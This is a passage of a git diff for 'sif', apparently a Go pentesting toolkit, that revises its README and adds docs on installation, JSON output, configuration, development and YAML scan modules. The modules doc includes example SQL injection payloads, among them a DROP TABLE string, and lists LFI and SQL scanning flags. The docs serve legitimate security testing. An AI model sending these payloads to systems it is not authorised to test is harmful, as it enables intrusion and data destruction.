- Supports multi-threading for faster scans
|
||||
- Efficient caching mechanisms to reduce redundant operations
|
||||
### built-in scan flags
|
||||
|
||||
## 🤝 Contributing
|
||||
| flag | description |
|
||||
|------|-------------|
|
||||
| `-dirlist` | directory and file fuzzing (small/medium/large) |
|
||||
| `-dnslist` | subdomain enumeration (small/medium/large) |
|
||||
| `-ports` | port scanning (common/full) |
|
||||
| `-nuclei` | vulnerability scanning with nuclei templates |
|
||||
| `-dork` | automated google dorking |
|
||||
| `-js` | javascript analysis |
|
||||
| `-c3` | cloud storage misconfiguration |
|
||||
| `-headers` | http header analysis |
|
||||
| `-st` | subdomain takeover detection |
|
||||
| `-cms` | cms detection |
|
||||
| `-whois` | whois lookups |
|
||||
| `-git` | exposed git repository detection |
|
||||
| `-shodan` | shodan lookup (requires SHODAN_API_KEY) |
|
||||
| `-sql` | sql recon |
|
||||
| `-lfi` | local file inclusion |
|
||||
| `-framework` | framework detection with cve lookup |
|
||||
|
||||
We welcome contributions from the community! Please read our [Contributing Guidelines](CONTRIBUTING.md) before submitting a pull request.
|
||||
### yaml modules
|
||||
|
||||
Areas we're particularly interested in:
|
||||
list available modules:
|
||||
|
||||
- New scanning modules
|
||||
- Performance improvements
|
||||
- Documentation enhancements
|
||||
- Bug fixes and error handling improvements
|
||||
```bash
|
||||
./sif -lm
|
||||
```
|
||||
|
||||
## 🌟 Contributors
|
||||
run specific modules:
|
||||
|
||||
Thanks to these wonderful people who have contributed to sif:
|
||||
```bash
|
||||
# run by id
|
||||
./sif -u https://example.com -m sqli-error-based,xss-reflected
|
||||
|
||||
# run by tag
|
||||
./sif -u https://example.com -mt owasp-top10
|
||||
|
||||
# run all modules
|
||||
./sif -u https://example.com -am
|
||||
```
|
||||
|
||||
### custom modules
|
||||
|
||||
create your own modules in `~/.config/sif/modules/`. modules use a yaml format similar to nuclei templates:
|
||||
|
||||
```yaml
|
||||
id: my-custom-check
|
||||
info:
|
||||
name: my custom security check
|
||||
author: you
|
||||
severity: medium
|
||||
description: checks for something specific
|
||||
tags: [custom, recon]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/admin"
|
||||
- "{{BaseURL}}/login"
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "admin panel"
|
||||
- "login"
|
||||
condition: or
|
||||
```
|
||||
|
||||
see [docs/modules.md](docs/modules.md) for the full module format.
|
||||
|
||||
## contribute
|
||||
|
||||
contributions welcome. see [contributing.md](CONTRIBUTING.md) for guidelines.
|
||||
|
||||
```bash
|
||||
# format
|
||||
gofmt -w .
|
||||
|
||||
# lint
|
||||
golangci-lint run
|
||||
|
||||
# test
|
||||
go test ./...
|
||||
```
|
||||
|
||||
## community
|
||||
|
||||
join our discord for support, feature discussions, and pentesting tips:
|
||||
|
||||
[](https://discord.gg/sifcli)
|
||||
|
||||
## contributors
|
||||
|
||||
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
|
||||
<!-- prettier-ignore-start -->
|
||||
@@ -126,12 +218,16 @@ Thanks to these wonderful people who have contributed to sif:
|
||||
<table>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://vmfunc.re"><img src="https://avatars.githubusercontent.com/u/59031302?v=4?s=100" width="100px;" alt="mel"/><br /><sub><b>mel</b></sub></a><br /><a href="#maintenance-vmfunc" title="Maintenance">🚧</a> <a href="#mentoring-vmfunc" title="Mentoring">🧑🏫</a> <a href="#projectManagement-vmfunc" title="Project Management">📆</a> <a href="#security-vmfunc" title="Security">🛡️</a> <a href="#test-vmfunc" title="Tests">⚠️</a> <a href="#business-vmfunc" title="Business development">💼</a> <a href="#code-vmfunc" title="Code">💻</a> <a href="#design-vmfunc" title="Design">🎨</a> <a href="#financial-vmfunc" title="Financial">💵</a> <a href="#ideas-vmfunc" title="Ideas, Planning, & Feedback">🤔</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://vmfunc.re"><img src="https://avatars.githubusercontent.com/u/59031302?v=4?s=100" width="100px;" alt="vmfunc"/><br /><sub><b>vmfunc</b></sub></a><br /><a href="#maintenance-vmfunc" title="Maintenance">🚧</a> <a href="#mentoring-vmfunc" title="Mentoring">🧑🏫</a> <a href="#projectManagement-vmfunc" title="Project Management">📆</a> <a href="#security-vmfunc" title="Security">🛡️</a> <a href="https://github.com/lunchcat/sif/commits?author=vmfunc" title="Code">💻</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://projectdiscovery.io"><img src="https://avatars.githubusercontent.com/u/50994705?v=4?s=100" width="100px;" alt="ProjectDiscovery"/><br /><sub><b>ProjectDiscovery</b></sub></a><br /><a href="#platform-projectdiscovery" title="Packaging/porting to new platform">📦</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://github.com/macdoos"><img src="https://avatars.githubusercontent.com/u/127897805?v=4?s=100" width="100px;" alt="macdoos"/><br /><sub><b>macdoos</b></sub></a><br /><a href="#code-macdoos" title="Code">💻</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://github.com/macdoos"><img src="https://avatars.githubusercontent.com/u/127897805?v=4?s=100" width="100px;" alt="macdoos"/><br /><sub><b>macdoos</b></sub></a><br /><a href="https://github.com/lunchcat/sif/commits?author=macdoos" title="Code">💻</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://epitech.eu"><img src="https://avatars.githubusercontent.com/u/75166283?v=4?s=100" width="100px;" alt="Matthieu Witrowiez"/><br /><sub><b>Matthieu Witrowiez</b></sub></a><br /><a href="#ideas-D3adPlays" title="Ideas, Planning, & Feedback">🤔</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://github.com/tessa-u-k"><img src="https://avatars.githubusercontent.com/u/109355732?v=4?s=100" width="100px;" alt="tessa "/><br /><sub><b>tessa </b></sub></a><br /><a href="#infra-tessa-u-k" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="#question-tessa-u-k" title="Answering Questions">💬</a> <a href="#userTesting-tessa-u-k" title="User Testing">📓</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://github.com/xyzeva"><img src="https://avatars.githubusercontent.com/u/133499694?v=4?s=100" width="100px;" alt="Eva"/><br /><sub><b>Eva</b></sub></a><br /><a href="#blog-xyzeva" title="Blogposts">📝</a> <a href="#content-xyzeva" title="Content">🖋</a> <a href="#research-xyzeva" title="Research">🔬</a> <a href="#security-xyzeva" title="Security">🛡️</a> <a href="#test-xyzeva" title="Tests">⚠️</a> <a href="#code-xyzeva" title="Code">💻</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://github.com/xyzeva"><img src="https://avatars.githubusercontent.com/u/133499694?v=4?s=100" width="100px;" alt="Eva"/><br /><sub><b>Eva</b></sub></a><br /><a href="#blog-xyzeva" title="Blogposts">📝</a> <a href="#content-xyzeva" title="Content">🖋</a> <a href="#research-xyzeva" title="Research">🔬</a> <a href="#security-xyzeva" title="Security">🛡️</a> <a href="https://github.com/lunchcat/sif/commits?author=xyzeva" title="Tests">⚠️</a> <a href="https://github.com/lunchcat/sif/commits?author=xyzeva" title="Code">💻</a></td>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://github.com/vxfemboy"><img src="https://avatars.githubusercontent.com/u/79362520?v=4?s=100" width="100px;" alt="Zoa Hickenlooper"/><br /><sub><b>Zoa Hickenlooper</b></sub></a><br /><a href="https://github.com/lunchcat/sif/commits?author=vxfemboy" title="Code">💻</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="center" valign="top" width="14.28%"><a href="https://github.com/0xatrilla"><img src="https://avatars.githubusercontent.com/u/107285362?v=4?s=100" width="100px;" alt="acxtrilla"/><br /><sub><b>acxtrilla</b></sub></a><br /><a href="#platform-0xatrilla" title="Packaging/porting to new platform">📦</a></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
@@ -141,19 +237,13 @@ Thanks to these wonderful people who have contributed to sif:
|
||||
|
||||
<!-- ALL-CONTRIBUTORS-LIST:END -->
|
||||
|
||||
## 🙏 Acknowledgements
|
||||
## acknowledgements
|
||||
|
||||
We'd like to thank the following projects and communities for their inspiration and support:
|
||||
|
||||
- [ProjectDiscovery](https://projectdiscovery.io/) for their amazing open-source security tools
|
||||
- [Shodan](https://www.shodan.io/)
|
||||
- [Malcore](https://www.malcore.io/), for providing us direct API support at Lunchcat.
|
||||
- [projectdiscovery](https://projectdiscovery.io/) for nuclei and other security tools
|
||||
- [shodan](https://www.shodan.io/) for infrastructure intelligence
|
||||
|
||||
---
|
||||
|
||||
<div align="center">
|
||||
<strong>Happy Hunting! 🐾</strong>
|
||||
<p>
|
||||
<sub>Built with ❤️ by the lunchcat team and contributors worldwide</sub>
|
||||
</p>
|
||||
<sub>bsd 3-clause license · made by vmfunc, xyzeva, and contributors</sub>
|
||||
</div>
|
||||
|
||||
+13
-22
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package main
|
||||
@@ -27,7 +15,10 @@ package main
|
||||
import (
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif"
|
||||
"github.com/dropalldatabases/sif/pkg/config"
|
||||
"github.com/dropalldatabases/sif/internal/config"
|
||||
|
||||
// Register framework detectors
|
||||
_ "github.com/dropalldatabases/sif/internal/scan/frameworks/detectors"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
# sif documentation
|
||||
|
||||
welcome to the sif documentation. sif is a modular pentesting toolkit designed to be fast, concurrent, and extensible.
|
||||
|
||||
## table of contents
|
||||
|
||||
### getting started
|
||||
|
||||
- [installation](installation.md) - how to install sif
|
||||
- [quickstart](quickstart.md) - get up and running in minutes
|
||||
- [usage](usage.md) - command line options and examples
|
||||
|
||||
### features
|
||||
|
||||
- [scans](scans.md) - built-in security scans
|
||||
- [modules](modules.md) - yaml module system and custom modules
|
||||
|
||||
### reference
|
||||
|
||||
- [configuration](configuration.md) - runtime configuration options
|
||||
- [api mode](api-mode.md) - json output for automation
|
||||
|
||||
### contributing
|
||||
|
||||
- [development](development.md) - setting up a dev environment
|
||||
- [writing modules](modules.md#writing-modules) - create your own modules
|
||||
|
||||
---
|
||||
|
||||
## quick links
|
||||
|
||||
```bash
|
||||
# install
|
||||
git clone https://github.com/dropalldatabases/sif.git && cd sif && make
|
||||
|
||||
# basic scan
|
||||
./sif -u https://example.com
|
||||
|
||||
# list modules
|
||||
./sif -lm
|
||||
|
||||
# run all modules
|
||||
./sif -u https://example.com -am
|
||||
|
||||
# help
|
||||
./sif -h
|
||||
```
|
||||
|
||||
## support
|
||||
|
||||
- [github issues](https://github.com/vmfunc/sif/issues) - bug reports and feature requests
|
||||
- [discord](https://discord.gg/sifcli) - community chat
|
||||
@@ -0,0 +1,160 @@
|
||||
# api mode
|
||||
|
||||
use sif's json output for automation and integration.
|
||||
|
||||
## enabling api mode
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api
|
||||
```
|
||||
|
||||
## output format
|
||||
|
||||
api mode outputs json to stdout:
|
||||
|
||||
```json
|
||||
{
|
||||
"url": "https://example.com",
|
||||
"results": [
|
||||
{
|
||||
"id": "module-id",
|
||||
"data": {
|
||||
"module_id": "module-id",
|
||||
"target": "https://example.com",
|
||||
"findings": [
|
||||
{
|
||||
"url": "https://example.com/.git/HEAD",
|
||||
"severity": "high",
|
||||
"evidence": "ref: refs/heads/main",
|
||||
"extracted": {
|
||||
"branch": "main"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## fields
|
||||
|
||||
### url
|
||||
|
||||
the target url that was scanned.
|
||||
|
||||
### results
|
||||
|
||||
array of module results.
|
||||
|
||||
### results[].id
|
||||
|
||||
module identifier.
|
||||
|
||||
### results[].data.findings
|
||||
|
||||
array of security findings from the module.
|
||||
|
||||
### findings[].url
|
||||
|
||||
the specific url where the finding was detected.
|
||||
|
||||
### findings[].severity
|
||||
|
||||
severity level: `info`, `low`, `medium`, `high`, `critical`
|
||||
|
||||
### findings[].evidence
|
||||
|
||||
evidence that triggered the finding (matched content, etc).
|
||||
|
||||
### findings[].extracted
|
||||
|
||||
extracted data from the response (versions, keys, etc).
|
||||
|
||||
## examples
|
||||
|
||||
### save to file
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api -am > results.json
|
||||
```
|
||||
|
||||
### pipe to jq
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api -am | jq '.results[].data.findings[]'
|
||||
```
|
||||
|
||||
### filter high severity
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api -am | jq '.results[].data.findings[] | select(.severity == "high")'
|
||||
```
|
||||
|
||||
### extract urls
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api -am | jq -r '.results[].data.findings[].url'
|
||||
```
|
||||
|
||||
## ci/cd integration
|
||||
|
||||
### github actions
|
||||
|
||||
```yaml
|
||||
- name: run sif scan
|
||||
run: |
|
||||
./sif -u ${{ env.TARGET_URL }} -api -am > sif-results.json
|
||||
|
||||
- name: check for high severity findings
|
||||
run: |
|
||||
HIGH_COUNT=$(jq '[.results[].data.findings[] | select(.severity == "high" or .severity == "critical")] | length' sif-results.json)
|
||||
if [ "$HIGH_COUNT" -gt 0 ]; then
|
||||
echo "Found $HIGH_COUNT high/critical severity findings"
|
||||
exit 1
|
||||
fi
|
||||
```
|
||||
|
||||
### gitlab ci
|
||||
|
||||
```yaml
|
||||
security_scan:
|
||||
script:
|
||||
- ./sif -u $TARGET_URL -api -am > sif-results.json
|
||||
- |
|
||||
if jq -e '.results[].data.findings[] | select(.severity == "critical")' sif-results.json > /dev/null; then
|
||||
echo "Critical findings detected"
|
||||
exit 1
|
||||
fi
|
||||
artifacts:
|
||||
paths:
|
||||
- sif-results.json
|
||||
```
|
||||
|
||||
## multiple targets
|
||||
|
||||
when scanning multiple urls, each target outputs a separate json object:
|
||||
|
||||
```bash
|
||||
./sif -u https://site1.com,https://site2.com -api
|
||||
```
|
||||
|
||||
outputs:
|
||||
|
||||
```json
|
||||
{"url":"https://site1.com","results":[...]}
|
||||
{"url":"https://site2.com","results":[...]}
|
||||
```
|
||||
|
||||
use `jq -s` to combine into an array:
|
||||
|
||||
```bash
|
||||
./sif -u https://site1.com,https://site2.com -api | jq -s '.'
|
||||
```
|
||||
|
||||
## notes
|
||||
|
||||
- api mode suppresses banner and interactive output
|
||||
- all output goes to stdout
|
||||
- errors and warnings still go to stderr
|
||||
- combine with `-l` flag to also save detailed logs
|
||||
@@ -0,0 +1,162 @@
|
||||
# configuration
|
||||
|
||||
runtime configuration options for sif.
|
||||
|
||||
## environment variables
|
||||
|
||||
### SHODAN_API_KEY
|
||||
|
||||
required for shodan lookups.
|
||||
|
||||
```bash
|
||||
export SHODAN_API_KEY=your-api-key-here
|
||||
./sif -u https://example.com -shodan
|
||||
```
|
||||
|
||||
## command line options
|
||||
|
||||
### timeout
|
||||
|
||||
default request timeout is 10 seconds.
|
||||
|
||||
```bash
|
||||
# increase for slow targets
|
||||
./sif -u https://example.com -t 30s
|
||||
|
||||
# decrease for fast scans
|
||||
./sif -u https://example.com -t 5s
|
||||
```
|
||||
|
||||
### threads
|
||||
|
||||
default is 10 concurrent threads.
|
||||
|
||||
```bash
|
||||
# more threads for faster scanning
|
||||
./sif -u https://example.com --threads 50
|
||||
|
||||
# fewer threads to reduce load
|
||||
./sif -u https://example.com --threads 5
|
||||
```
|
||||
|
||||
### logging
|
||||
|
||||
save output to files:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -l ./logs
|
||||
```
|
||||
|
||||
creates timestamped log files in the specified directory.
|
||||
|
||||
### debug mode
|
||||
|
||||
enable verbose logging:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -d
|
||||
```
|
||||
|
||||
## user modules
|
||||
|
||||
place custom modules in:
|
||||
|
||||
- linux/macos: `~/.config/sif/modules/`
|
||||
- windows: `%LOCALAPPDATA%\sif\modules\`
|
||||
|
||||
### directory structure
|
||||
|
||||
```
|
||||
~/.config/sif/
|
||||
├── modules/
|
||||
│ ├── http/
|
||||
│ │ └── my-sqli-check.yaml
|
||||
│ ├── recon/
|
||||
│ │ └── custom-paths.yaml
|
||||
│ └── my-module.yaml
|
||||
```
|
||||
|
||||
modules can be organized in subdirectories or placed directly in the modules folder.
|
||||
|
||||
### overriding built-in modules
|
||||
|
||||
user modules with the same id as built-in modules will override them:
|
||||
|
||||
```yaml
|
||||
# ~/.config/sif/modules/sqli-error-based.yaml
|
||||
# this overrides the built-in sqli-error-based module
|
||||
|
||||
id: sqli-error-based
|
||||
info:
|
||||
name: my custom sqli check
|
||||
# ...
|
||||
```
|
||||
|
||||
## performance tuning
|
||||
|
||||
### fast scans
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com \
|
||||
--threads 50 \
|
||||
-t 5s \
|
||||
-dirlist small \
|
||||
-dnslist small
|
||||
```
|
||||
|
||||
### thorough scans
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com \
|
||||
--threads 10 \
|
||||
-t 30s \
|
||||
-dirlist large \
|
||||
-dnslist large \
|
||||
-ports full
|
||||
```
|
||||
|
||||
### low-impact scans
|
||||
|
||||
reduce load on target:
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com \
|
||||
--threads 2 \
|
||||
-t 10s
|
||||
```
|
||||
|
||||
## output formats
|
||||
|
||||
### console (default)
|
||||
|
||||
human-readable output with colors and formatting.
|
||||
|
||||
### json (api mode)
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -api
|
||||
```
|
||||
|
||||
returns structured json:
|
||||
|
||||
```json
|
||||
{
|
||||
"url": "https://example.com",
|
||||
"results": [
|
||||
{
|
||||
"id": "sqli-error-based",
|
||||
"data": {
|
||||
"findings": [...]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### log files
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -l ./logs
|
||||
```
|
||||
|
||||
creates separate log files for each scan type.
|
||||
@@ -0,0 +1,185 @@
|
||||
# development
|
||||
|
||||
setting up a development environment for sif.
|
||||
|
||||
## prerequisites
|
||||
|
||||
- go 1.23 or later
|
||||
- git
|
||||
- make
|
||||
|
||||
## clone and build
|
||||
|
||||
```bash
|
||||
git clone https://github.com/dropalldatabases/sif.git
|
||||
cd sif
|
||||
make
|
||||
```
|
||||
|
||||
## project structure
|
||||
|
||||
```
|
||||
sif/
|
||||
├── cmd/sif/ # entry point
|
||||
│ └── main.go
|
||||
├── sif.go # main application logic
|
||||
├── internal/ # private packages
|
||||
│ ├── config/ # configuration parsing
|
||||
│ ├── logger/ # logging utilities
|
||||
│ ├── modules/ # module system
|
||||
│ ├── scan/ # built-in scans
|
||||
│ ├── styles/ # terminal styling
|
||||
│ └── worker/ # worker pool
|
||||
├── modules/ # built-in yaml modules
|
||||
│ ├── http/ # http-based modules
|
||||
│ ├── info/ # information gathering
|
||||
│ └── recon/ # reconnaissance modules
|
||||
├── docs/ # documentation
|
||||
└── assets/ # images, etc
|
||||
```
|
||||
|
||||
## running locally
|
||||
|
||||
```bash
|
||||
# build
|
||||
make
|
||||
|
||||
# run
|
||||
./sif -u https://example.com
|
||||
|
||||
# run with debug
|
||||
./sif -u https://example.com -d
|
||||
```
|
||||
|
||||
## code quality
|
||||
|
||||
### format
|
||||
|
||||
```bash
|
||||
gofmt -w .
|
||||
```
|
||||
|
||||
### lint
|
||||
|
||||
```bash
|
||||
golangci-lint run
|
||||
```
|
||||
|
||||
### test
|
||||
|
||||
```bash
|
||||
go test ./...
|
||||
```
|
||||
|
||||
### race detection
|
||||
|
||||
```bash
|
||||
go test -race ./...
|
||||
```
|
||||
|
||||
## adding a new scan
|
||||
|
||||
1. create a new file in `internal/scan/`
|
||||
2. implement the scan function
|
||||
3. add flag to `internal/config/config.go`
|
||||
4. integrate in `sif.go`
|
||||
|
||||
see existing scans for examples.
|
||||
|
||||
## adding a new module
|
||||
|
||||
create a yaml file in `modules/`:
|
||||
|
||||
```yaml
|
||||
id: my-new-module
|
||||
info:
|
||||
name: my new security check
|
||||
author: your-name
|
||||
severity: medium
|
||||
description: what this checks for
|
||||
tags: [custom, security]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/path"
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
see [modules.md](modules.md) for the full format.
|
||||
|
||||
## module system internals
|
||||
|
||||
the module system is in `internal/modules/`:
|
||||
|
||||
- `module.go` - core interface and types
|
||||
- `registry.go` - module registration
|
||||
- `loader.go` - discovery and loading
|
||||
- `yaml.go` - yaml parsing
|
||||
- `executor.go` - http execution
|
||||
|
||||
### adding a new module type
|
||||
|
||||
1. add type constant to `module.go`
|
||||
2. implement executor in new file
|
||||
3. update loader to handle new extension/type
|
||||
|
||||
## testing
|
||||
|
||||
### unit tests
|
||||
|
||||
```bash
|
||||
go test ./internal/...
|
||||
```
|
||||
|
||||
### functional test
|
||||
|
||||
```bash
|
||||
./sif -u https://example.com -am
|
||||
```
|
||||
|
||||
### test modules
|
||||
|
||||
```bash
|
||||
./sif -lm # list modules
|
||||
./sif -u https://example.com -m my-module -d # test specific module
|
||||
```
|
||||
|
||||
## pull requests
|
||||
|
||||
1. fork the repository
|
||||
2. create a feature branch
|
||||
3. make changes
|
||||
4. run `gofmt -w .` and `golangci-lint run`
|
||||
5. submit pr
|
||||
|
||||
### commit messages
|
||||
|
||||
use lowercase, present tense:
|
||||
|
||||
```
|
||||
add sql injection module
|
||||
fix timeout handling in http executor
|
||||
update readme with new flags
|
||||
```
|
||||
|
||||
## release process
|
||||
|
||||
releases are automated via github actions on push to main.
|
||||
|
||||
binaries are built for:
|
||||
- linux (amd64, 386, arm64)
|
||||
- macos (amd64, arm64)
|
||||
- windows (amd64, 386)
|
||||
|
||||
## resources
|
||||
|
||||
- [go documentation](https://golang.org/doc/)
|
||||
- [goflags](https://github.com/projectdiscovery/goflags) - cli parsing
|
||||
- [nuclei templates](https://github.com/projectdiscovery/nuclei-templates) - module format inspiration
|
||||
@@ -0,0 +1,93 @@
|
||||
# installation
|
||||
|
||||
## from releases
|
||||
|
||||
download the latest binary for your platform from [releases](https://github.com/vmfunc/sif/releases).
|
||||
|
||||
### linux
|
||||
|
||||
```bash
|
||||
# download
|
||||
curl -LO https://github.com/vmfunc/sif/releases/latest/download/sif-linux-amd64
|
||||
|
||||
# make executable
|
||||
chmod +x sif-linux-amd64
|
||||
|
||||
# move to path (optional)
|
||||
sudo mv sif-linux-amd64 /usr/local/bin/sif
|
||||
```
|
||||
|
||||
### macos
|
||||
|
||||
```bash
|
||||
# intel
|
||||
curl -LO https://github.com/vmfunc/sif/releases/latest/download/sif-macos-amd64
|
||||
|
||||
# apple silicon
|
||||
curl -LO https://github.com/vmfunc/sif/releases/latest/download/sif-macos-arm64
|
||||
|
||||
chmod +x sif-macos-*
|
||||
sudo mv sif-macos-* /usr/local/bin/sif
|
||||
```
|
||||
|
||||
### windows
|
||||
|
||||
download `sif-windows-amd64.exe` from releases and add to your PATH.
|
||||
|
||||
## from source
|
||||
|
||||
requires go 1.23+
|
||||
|
||||
```bash
|
||||
git clone https://github.com/dropalldatabases/sif.git
|
||||
cd sif
|
||||
make
|
||||
```
|
||||
|
||||
the binary will be created in the current directory.
|
||||
|
||||
### install to system
|
||||
|
||||
```bash
|
||||
sudo make install
|
||||
```
|
||||
|
||||
this installs to `/usr/local/bin/sif`.
|
||||
|
||||
### uninstall
|
||||
|
||||
```bash
|
||||
sudo make uninstall
|
||||
```
|
||||
|
||||
## verify installation
|
||||
|
||||
```bash
|
||||
./sif -h
|
||||
```
|
||||
|
||||
you should see the help output with available flags.
|
||||
|
||||
## updating
|
||||
|
||||
### from releases
|
||||
|
||||
download the new binary and replace the old one.
|
||||
|
||||
### from source
|
||||
|
||||
```bash
|
||||
cd sif
|
||||
git pull
|
||||
make clean
|
||||
make
|
||||
```
|
||||
|
||||
## modules directory
|
||||
|
||||
sif looks for modules in these locations:
|
||||
|
||||
- **built-in**: `modules/` directory next to the sif binary
|
||||
- **user modules**: `~/.config/sif/modules/` (linux/macos) or `%LOCALAPPDATA%\sif\modules\` (windows)
|
||||
|
||||
user modules override built-in modules with the same id.
|
||||
+387
@@ -0,0 +1,387 @@
|
||||
# writing sif modules
|
||||
|
||||
sif modules are yaml files that define security checks. they're similar to nuclei templates but designed specifically for sif.
|
||||
|
||||
## module locations
|
||||
|
||||
- **built-in**: `modules/` directory in the sif installation
|
||||
- **user-defined**: `~/.config/sif/modules/` (linux/macos) or `%LOCALAPPDATA%\sif\modules\` (windows)
|
||||
|
||||
user modules can override built-in modules with the same id.
|
||||
|
||||
## basic structure
|
||||
|
||||
```yaml
|
||||
id: unique-module-id
|
||||
info:
|
||||
name: human readable name
|
||||
author: your-name
|
||||
severity: low|medium|high|critical|info
|
||||
description: what this module checks for
|
||||
tags: [tag1, tag2, tag3]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/path"
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
## fields
|
||||
|
||||
### id (required)
|
||||
|
||||
unique identifier for the module. use lowercase with hyphens.
|
||||
|
||||
```yaml
|
||||
id: sqli-error-based
|
||||
```
|
||||
|
||||
### info (required)
|
||||
|
||||
metadata about the module.
|
||||
|
||||
```yaml
|
||||
info:
|
||||
name: SQL Injection Detection
|
||||
author: sif
|
||||
severity: high
|
||||
description: detects sql injection via error messages
|
||||
tags: [sqli, injection, owasp-top10]
|
||||
```
|
||||
|
||||
**severity levels:**
|
||||
- `info` - informational finding
|
||||
- `low` - minor issue
|
||||
- `medium` - moderate security concern
|
||||
- `high` - serious vulnerability
|
||||
- `critical` - critical security flaw
|
||||
|
||||
### type (required)
|
||||
|
||||
module type. currently only `http` is supported.
|
||||
|
||||
```yaml
|
||||
type: http
|
||||
```
|
||||
|
||||
### http
|
||||
|
||||
http request configuration.
|
||||
|
||||
#### method
|
||||
|
||||
http method to use.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
method: GET
|
||||
```
|
||||
|
||||
supported: `GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`
|
||||
|
||||
#### paths
|
||||
|
||||
urls to check. use `{{BaseURL}}` as placeholder for the target.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
paths:
|
||||
- "{{BaseURL}}/.git/HEAD"
|
||||
- "{{BaseURL}}/.git/config"
|
||||
- "{{BaseURL}}/admin"
|
||||
```
|
||||
|
||||
#### payloads
|
||||
|
||||
values to inject into paths. use `{{payload}}` as placeholder.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
paths:
|
||||
- "{{BaseURL}}/?id={{payload}}"
|
||||
|
||||
payloads:
|
||||
- "'"
|
||||
- "1' OR '1'='1"
|
||||
- "1; DROP TABLE--"
|
||||
```
|
||||
|
||||
each payload creates a separate request for each path.
|
||||
|
||||
#### headers
|
||||
|
||||
custom headers to send.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
headers:
|
||||
User-Agent: "Mozilla/5.0"
|
||||
X-Custom-Header: "value"
|
||||
```
|
||||
|
||||
#### body
|
||||
|
||||
request body for POST/PUT requests.
|
||||
|
||||
```yaml
|
||||
http:
|
||||
method: POST
|
||||
body: '{"username": "admin", "password": "{{payload}}"}'
|
||||
```
|
||||
|
||||
#### threads
|
||||
|
||||
concurrent requests (default: 10).
|
||||
|
||||
```yaml
|
||||
http:
|
||||
threads: 5
|
||||
```
|
||||
|
||||
## matchers
|
||||
|
||||
matchers determine if a response indicates a finding.
|
||||
|
||||
### status matcher
|
||||
|
||||
match http status codes.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 301
|
||||
- 302
|
||||
```
|
||||
